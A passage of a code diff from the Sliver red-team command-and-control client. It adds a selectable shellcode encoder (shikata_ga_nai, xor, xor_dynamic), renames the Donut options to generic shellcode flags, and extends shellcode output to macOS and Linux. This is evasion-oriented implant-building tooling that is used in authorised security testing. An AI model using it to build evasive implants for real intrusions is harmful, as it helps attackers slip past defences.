f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.StringP("name", "n", "", "Implant name")
})
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesGenerateCmd)
@@ -308,7 +310,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("debug-file", "O", "", "path to debug output")
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
f.StringP("canary", "c", "", "canary domain(s)")
@@ -341,15 +343,46 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.Uint32("donut-entropy", 1, "Donut entropy (1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
f.Bool("donut-compress", false, "Enable Donut compression (aplib) (windows shellcode only)")
f.Uint32("donut-exitopt", 1, "Donut exit option (1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
f.Uint32("donut-bypass", 3, "Donut bypass mode (1=none, 2=abort, 3=continue) (windows shellcode only)")
f.Uint32("donut-headers", 1, "Donut headers handling (1=overwrite, 2=keep) (windows shellcode only)")
f.Bool("donut-thread", false, "Run unmanaged EXE entrypoint as a new thread (windows shellcode only)")
f.Bool("donut-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (windows shellcode only)")
f.Uint32("donut-oep", 0, "Donut original entry point override (0=default) (windows shellcode only)")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
// Shellcode generation options:
// - Windows: Donut
// - macOS: beignet
// - Linux: malasada
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows, macOS, and Linux shellcode)")
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows shellcode only)")
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows shellcode only)")
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows shellcode only)")
// Backwards-compatible deprecated Donut flags (hidden).
f.Uint32("donut-entropy", 1, "Deprecated (use --shellcode-entropy)")
_ = f.MarkDeprecated("donut-entropy", "use --shellcode-entropy")
_ = f.MarkHidden("donut-entropy")
f.Bool("donut-compress", false, "Deprecated (use --shellcode-compress)")
_ = f.MarkDeprecated("donut-compress", "use --shellcode-compress")
_ = f.MarkHidden("donut-compress")
f.Uint32("donut-exitopt", 1, "Deprecated (use --shellcode-exitopt)")
_ = f.MarkDeprecated("donut-exitopt", "use --shellcode-exitopt")
_ = f.MarkHidden("donut-exitopt")
f.Uint32("donut-bypass", 3, "Deprecated (use --shellcode-bypass)")
_ = f.MarkDeprecated("donut-bypass", "use --shellcode-bypass")
_ = f.MarkHidden("donut-bypass")
f.Uint32("donut-headers", 1, "Deprecated (use --shellcode-headers)")
_ = f.MarkDeprecated("donut-headers", "use --shellcode-headers")
_ = f.MarkHidden("donut-headers")
f.Bool("donut-thread", false, "Deprecated (use --shellcode-thread)")
_ = f.MarkDeprecated("donut-thread", "use --shellcode-thread")
_ = f.MarkHidden("donut-thread")
f.Bool("donut-unicode", false, "Deprecated (use --shellcode-unicode)")
_ = f.MarkDeprecated("donut-unicode", "use --shellcode-unicode")
_ = f.MarkHidden("donut-unicode")
f.Uint32("donut-oep", 0, "Deprecated (use --shellcode-oep)")
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
_ = f.MarkHidden("donut-oep")
})
}
@@ -362,6 +395,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
(*comp)["c2profile"] = HTTPC2Completer(con)
})
+362 -59
View File
@@ -28,6 +28,7 @@ import (
"os/signal"
"path/filepath"
"runtime"
"sort"
"strconv"
"strings"
"time"
@@ -79,6 +80,7 @@ var (
"darwin/arm64": true,
"linux/386": true,
"linux/amd64": true,
"linux/arm64": true,
"windows/386": true,
"windows/amd64": true,
}
@@ -353,7 +355,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
isSharedLib := false
isService := false
isShellcode := false
sgnEnabled := false
var exports []string
exportsArg, _ := cmd.Flags().GetString("exports")
@@ -377,8 +378,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
sgnEnabled = !sgnEnabled
case "service":
configFormat = clientpb.OutputFormat_SERVICE
isService = true
@@ -395,9 +394,28 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
if targetOS == "" || targetArch == "" {
return "", nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return "", nil
if configFormat == clientpb.OutputFormat_SHELLCODE {
switch targetOS {
case "windows":
// Server-side implementation supports amd64 and 386 only.
if targetArch != "amd64" && targetArch != "386" {
con.PrintErrorf("Windows shellcode format is only supported on windows/amd64 and windows/386\n")
return "", nil
}
case "darwin":
if targetArch != "arm64" {
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
return "", nil
}
case "linux":
if targetArch != "amd64" && targetArch != "arm64" {
con.PrintErrorf("Linux shellcode format is only supported on linux/amd64 and linux/arm64\n")
return "", nil
}
default:
con.PrintErrorf("Shellcode format is currently only supported on Windows, macOS, and Linux\n")
return "", nil
}
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
@@ -409,12 +427,19 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
return "", nil
}
donutConfig, err := parseDonutFlags(cmd, targetOS, configFormat, con)
shellcodeConfig, err := parseShellcodeFlags(cmd, targetOS, configFormat, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
}
shellcodeEncoder, err := parseShellcodeEncoderFlag(cmd, targetArch, configFormat, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
}
sgnEnabled := shellcodeEncoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI // legacy field
var tunIP net.IP
if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
@@ -452,6 +477,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
Debug: debug,
Evasion: evasion,
SGNEnabled: sgnEnabled,
ShellcodeEncoder: shellcodeEncoder,
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
@@ -486,23 +512,63 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
DebugFile: debugFile,
HTTPC2ConfigName: c2Profile,
DonutConfig: donutConfig,
ShellcodeConfig: shellcodeConfig,
}
return name, config
}
func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.DonutConfig, error) {
donutEntropy, _ := cmd.Flags().GetUint32("donut-entropy")
donutCompressEnabled, _ := cmd.Flags().GetBool("donut-compress")
donutExitOpt, _ := cmd.Flags().GetUint32("donut-exitopt")
donutBypass, _ := cmd.Flags().GetUint32("donut-bypass")
donutHeaders, _ := cmd.Flags().GetUint32("donut-headers")
donutThread, _ := cmd.Flags().GetBool("donut-thread")
donutUnicode, _ := cmd.Flags().GetBool("donut-unicode")
donutOEP, _ := cmd.Flags().GetUint32("donut-oep")
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
if !cmd.Flags().Changed("shellcode-entropy") {
shellcodeEntropy, _ = cmd.Flags().GetUint32("donut-entropy")
}
anyChanged := cmd.Flags().Changed("donut-entropy") ||
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
if !cmd.Flags().Changed("shellcode-compress") {
shellcodeCompressEnabled, _ = cmd.Flags().GetBool("donut-compress")
}
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
if !cmd.Flags().Changed("shellcode-exitopt") {
shellcodeExitOpt, _ = cmd.Flags().GetUint32("donut-exitopt")
}
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
if !cmd.Flags().Changed("shellcode-bypass") {
shellcodeBypass, _ = cmd.Flags().GetUint32("donut-bypass")
}
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
if !cmd.Flags().Changed("shellcode-headers") {
shellcodeHeaders, _ = cmd.Flags().GetUint32("donut-headers")
}
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
if !cmd.Flags().Changed("shellcode-thread") {
shellcodeThread, _ = cmd.Flags().GetBool("donut-thread")
}
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
if !cmd.Flags().Changed("shellcode-unicode") {
shellcodeUnicode, _ = cmd.Flags().GetBool("donut-unicode")
}
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
if !cmd.Flags().Changed("shellcode-oep") {
shellcodeOEP, _ = cmd.Flags().GetUint32("donut-oep")
}
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-compress") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep") ||
cmd.Flags().Changed("donut-entropy") ||
cmd.Flags().Changed("donut-compress") ||
cmd.Flags().Changed("donut-exitopt") ||
cmd.Flags().Changed("donut-bypass") ||
@@ -511,43 +577,207 @@ func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.
cmd.Flags().Changed("donut-unicode") ||
cmd.Flags().Changed("donut-oep")
if targetOS != "windows" || configFormat != clientpb.OutputFormat_SHELLCODE {
if configFormat != clientpb.OutputFormat_SHELLCODE {
if anyChanged {
con.PrintWarnf("Donut options only apply to Windows shellcode, ignoring.\n")
con.PrintWarnf("Shellcode options only apply when using `--format shellcode`, ignoring.\n")
}
return nil, nil
}
if donutEntropy < 1 || donutEntropy > 3 {
return nil, fmt.Errorf("donut-entropy must be between 1 and 3")
}
if donutExitOpt < 1 || donutExitOpt > 3 {
return nil, fmt.Errorf("donut-exitopt must be between 1 and 3")
}
if donutBypass < 1 || donutBypass > 3 {
return nil, fmt.Errorf("donut-bypass must be between 1 and 3")
}
if donutHeaders < 1 || donutHeaders > 2 {
return nil, fmt.Errorf("donut-headers must be 1 or 2")
windowsOnlyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep") ||
cmd.Flags().Changed("donut-entropy") ||
cmd.Flags().Changed("donut-exitopt") ||
cmd.Flags().Changed("donut-bypass") ||
cmd.Flags().Changed("donut-headers") ||
cmd.Flags().Changed("donut-thread") ||
cmd.Flags().Changed("donut-unicode") ||
cmd.Flags().Changed("donut-oep")
// macOS and Linux shellcode currently only support compression.
if targetOS != "windows" {
if targetOS != "darwin" && targetOS != "linux" {
// parseCompileFlags normally blocks this, but keep a safe fallback.
if anyChanged {
con.PrintWarnf("Shellcode options are only supported on Windows, macOS, and Linux shellcode, ignoring.\n")
}
return nil, nil
}
if windowsOnlyChanged {
if targetOS == "darwin" {
con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
} else {
con.PrintWarnf("Windows-only shellcode options are ignored on Linux shellcode.\n")
}
}
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Compress: shellcodeCompress,
}, nil
}
donutCompress := uint32(1)
if donutCompressEnabled {
donutCompress = 2
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
return nil, fmt.Errorf("shellcode-entropy must be between 1 and 3")
}
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
return nil, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
}
if shellcodeBypass < 1 || shellcodeBypass > 3 {
return nil, fmt.Errorf("shellcode-bypass must be between 1 and 3")
}
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
return nil, fmt.Errorf("shellcode-headers must be 1 or 2")
}
return &clientpb.DonutConfig{
Entropy: donutEntropy,
Compress: donutCompress,
ExitOpt: donutExitOpt,
Bypass: donutBypass,
Headers: donutHeaders,
Thread: donutThread,
Unicode: donutUnicode,
OEP: donutOEP,
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Entropy: shellcodeEntropy,
Compress: shellcodeCompress,
ExitOpt: shellcodeExitOpt,
Bypass: shellcodeBypass,
Headers: shellcodeHeaders,
Thread: shellcodeThread,
Unicode: shellcodeUnicode,
OEP: shellcodeOEP,
}, nil
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
if con == nil || con.Rpc == nil {
return nil, errors.New("no RPC client")
}
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
if encoderMap == nil {
return nil
}
arch = normalizeShellcodeArch(arch)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return nil
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
return names
}
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
if encoderMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
arch = normalizeShellcodeArch(arch)
name = normalizeShellcodeEncoderName(name)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
encoder, ok := archMap.GetEncoders()[name]
return encoder, ok
}
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, configFormat clientpb.OutputFormat, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if configFormat != clientpb.OutputFormat_SHELLCODE {
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder != "" {
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
}
return clientpb.ShellcodeEncoder_NONE, nil
}
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
// If no encoder specified, prompt for a compatible encoder (or none).
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
// No known compatible encoders for this arch.
return clientpb.ShellcodeEncoder_NONE, nil
}
options := append([]string{"none"}, compatible...)
choice := "none"
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
if normalizeShellcodeEncoderName(choice) == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
if !ok {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
}
return encoder, nil
}
// Encoder explicitly specified by name.
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
}
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
}
return encoder, nil
}
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
@@ -1026,12 +1256,58 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
}
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
fileData := generated.File.Data
if config.IsShellcode {
encoder := config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
return nil, errors.New(msg)
}
} else {
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
return nil, err
}
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, generated.File.Data, 0o700)
err = os.WriteFile(saveTo, fileData, 0o700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
@@ -1078,22 +1354,49 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
fileData := generated.File.Data
if config.IsShellcode {
if !config.SGNEnabled {
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
} else {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
encoder := config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
con.PrintWarnf("Unknown shellcode encoder enum %d, skipping.\n", int32(encoder))
} else {
con.Printf("success!\n")
fileData = resp.GetData()
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
con.PrintErrorf("%s\n", msg)
return nil, errors.New(msg)
}
} else {
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
}
}
+43 -12
View File
@@ -2,6 +2,7 @@ package generate
import (
"context"
"errors"
"fmt"
"strings"
@@ -30,19 +31,49 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient
}
data = generated.GetFile().GetData()
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE && profile.Config.SGNEnabled {
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: profile.Config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: data,
})
if err != nil {
con.PrintErrorf("Error encoding shellcode")
return nil, err
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE {
encoder := profile.Config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && profile.Config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(profile.Config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
return nil, errors.New(msg)
}
} else {
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: profile.Config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: data,
})
if err != nil {
con.PrintErrorf("Error encoding shellcode")
return nil, err
}
data = encodeResp.Data
}
}
data = encodeResp.Data
}
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
+36 -3
View File
@@ -20,8 +20,10 @@ package generate
import (
"os"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
@@ -44,9 +46,40 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
}
profile := GetImplantProfileByName(name, con)
if profile != nil {
// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
// Override shellcode encoder if explicitly requested.
if cmd.Flags().Changed("shellcode-encoder") {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if rawEncoder == "" {
con.PrintErrorf("shellcode-encoder cannot be empty; use 'none' to disable encoding\n")
return
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
profile.Config.ShellcodeEncoder = clientpb.ShellcodeEncoder_NONE
profile.Config.SGNEnabled = false
} else if profile.Config.Format != clientpb.OutputFormat_SHELLCODE {
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
} else {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
con.PrintErrorf("Failed to fetch shellcode encoders: %s\n", err)
return
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, profile.Config.GOARCH)
if len(compatible) == 0 {
con.PrintErrorf("No shellcode encoders are available for arch %s\n", normalizeShellcodeArch(profile.Config.GOARCH))
} else {
con.PrintErrorf("Unsupported shellcode encoder %q for arch %s (valid: %s)\n", rawEncoder, normalizeShellcodeArch(profile.Config.GOARCH), strings.Join(compatible, ", "))
}
return
}
profile.Config.ShellcodeEncoder = encoder
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
}
_, err := compile(implantName, profile.Config, save, con)
if err != nil {
+17 -6
View File
@@ -165,10 +165,21 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
properties["obsymbols"] = "disabled"
}
if config.SGNEnabled {
properties["sgn"] = "enabled"
} else {
properties["sgn"] = "disabled"
properties["shellcodeencoder"] = "n/a"
if config.Format == clientpb.OutputFormat_SHELLCODE {
encoder := config.ShellcodeEncoder
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
properties["shellcodeencoder"] = map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_NONE: "none",
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if properties["shellcodeencoder"] == "" {
properties["shellcodeencoder"] = fmt.Sprintf("unknown (%d)", int32(encoder))
}
}
reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
@@ -311,8 +322,8 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
properties["obsymbols"],
})
tw.AppendRow(table.Row{
"Shikata Ga Nai (SGN) is",
properties["sgn"],
"Shellcode encoder is",
properties["shellcodeencoder"],
})
con.PrintInfof("Obfuscation\n")
+60 -50
View File
@@ -47,44 +47,45 @@ var (
consts.GenerateStr: generateHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
